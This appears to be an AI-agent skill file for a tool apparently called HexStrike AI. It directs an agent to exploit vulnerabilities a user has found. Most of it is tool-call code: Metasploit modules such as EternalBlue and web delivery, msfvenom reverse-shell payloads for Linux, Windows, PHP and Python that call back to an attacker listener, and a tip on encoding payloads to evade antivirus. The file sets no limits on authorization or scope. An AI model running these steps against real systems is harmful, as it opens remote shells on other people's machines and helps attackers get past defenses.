Skill v1.0.0

currentAutomated scan100/100

curiouslearnerdev/online_tools-ai/exploitation

──Details

PublishedOctober 24, 2026 at 10:09 AM

Content Hashsha256:fb1f844b633e6188...

Git SHA63ff3683b4b8

──Files

Files (1 file, 4.4 KB)

SKILL.md4.4 KBactive

SKILL.md · 137 lines · 4.4 KB

version: "1.0.0" name: exploitation description: Exploitation workflow using Metasploit, msfvenom payload generation, and Exploit-DB search — from vulnerability identification to shell

exploitation

Exploitation workflow for HexStrike AI. Use this skill when a user has identified a vulnerability and wants to exploit it, generate a payload, search for public exploits, or establish a reverse shell.

Workflow

Step 1 — Search for public exploits (exploit_db)

Before running Metasploit, check if a known public exploit exists:

run_tool(tool="exploit_db", query="<service> <version>")
 
# Examples
run_tool(tool="exploit_db", query="Apache 2.4.49 path traversal")
run_tool(tool="exploit_db", query="vsftpd 2.3.4 backdoor")
run_tool(tool="exploit_db", query="SMB ms17-010")

Step 2 — Find and run a Metasploit module

Search for the right module, then run it with the required options:

# Run a specific exploit module
run_tool(tool="metasploit", module="exploit/multi/handler",
         options={"PAYLOAD": "linux/x86/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})
 
# EternalBlue (MS17-010)
run_tool(tool="metasploit", module="exploit/windows/smb/ms17_010_eternalblue",
         options={"RHOSTS": "<target>",
                  "PAYLOAD": "windows/x64/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})
 
# Web delivery (stageless payload delivery)
run_tool(tool="metasploit", module="exploit/multi/script/web_delivery",
         options={"TARGET": "0",
                  "PAYLOAD": "python/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})

Step 3 — Generate a standalone payload (msfvenom)

Use msfvenom when you need to deliver a payload outside of Metasploit (file upload, download + execute, etc.):

Linux reverse shell (ELF):

run_tool(tool="msfvenom",
         payload="linux/x86/meterpreter/reverse_tcp",
         format="elf",
         lhost="<your_ip>",
         lport="4444")

Windows reverse shell (EXE):

run_tool(tool="msfvenom",
         payload="windows/x64/meterpreter/reverse_tcp",
         format="exe",
         lhost="<your_ip>",
         lport="4444")

PHP web shell:

run_tool(tool="msfvenom",
         payload="php/meterpreter_reverse_tcp",
         format="raw",
         lhost="<your_ip>",
         lport="4444")

Python stageless:

run_tool(tool="msfvenom",
         payload="python/meterpreter/reverse_tcp",
         format="raw",
         lhost="<your_ip>",
         lport="4444")

Common Metasploit modules by service

Service / CVE	Module path
MS17-010 EternalBlue	`exploit/windows/smb/ms17_010_eternalblue`
vsftpd 2.3.4 backdoor	`exploit/unix/ftp/vsftpd_234_backdoor`
Shellshock	`exploit/multi/http/apache_mod_cgi_bash_env_exec`
Heartbleed	`auxiliary/scanner/ssl/openssl_heartbleed`
Tomcat manager	`exploit/multi/http/tomcat_mgr_upload`
HTTP multi-handler	`exploit/multi/handler`
Web delivery	`exploit/multi/script/web_delivery`
Port scan auxiliary	`auxiliary/scanner/portscan/tcp`
SMB login check	`auxiliary/scanner/smb/smb_login`

Payload format reference

OS	Format	Payload example
Linux 64-bit	`elf`	`linux/x64/meterpreter/reverse_tcp`
Linux 32-bit	`elf`	`linux/x86/meterpreter/reverse_tcp`
Windows 64-bit	`exe`	`windows/x64/meterpreter/reverse_tcp`
Windows 32-bit	`exe`	`windows/meterpreter/reverse_tcp`
PHP	`raw`	`php/meterpreter_reverse_tcp`
Python	`raw`	`python/meterpreter/reverse_tcp`
Java WAR	`war`	`java/meterpreter/reverse_tcp`
ASP	`asp`	`windows/meterpreter/reverse_tcp`

Tips

Always start a listener (exploit/multi/handler) before delivering a payload.
Use stageless payloads (meterpreter_reverse_tcp not meterpreter/reverse_tcp) when the target has egress filtering — they are larger but self-contained.
Check exploit_db before writing custom exploits — public PoCs save time.
Encode payloads with -e x86/shikata_ga_nai via additional_args if AV is a concern.

HexStrike Tool Reference

Tool	Use case
`exploit_db`	Search public exploits (searchsploit)
`metasploit`	Run exploit/auxiliary/post modules
`msfvenom`	Generate standalone payloads

All versions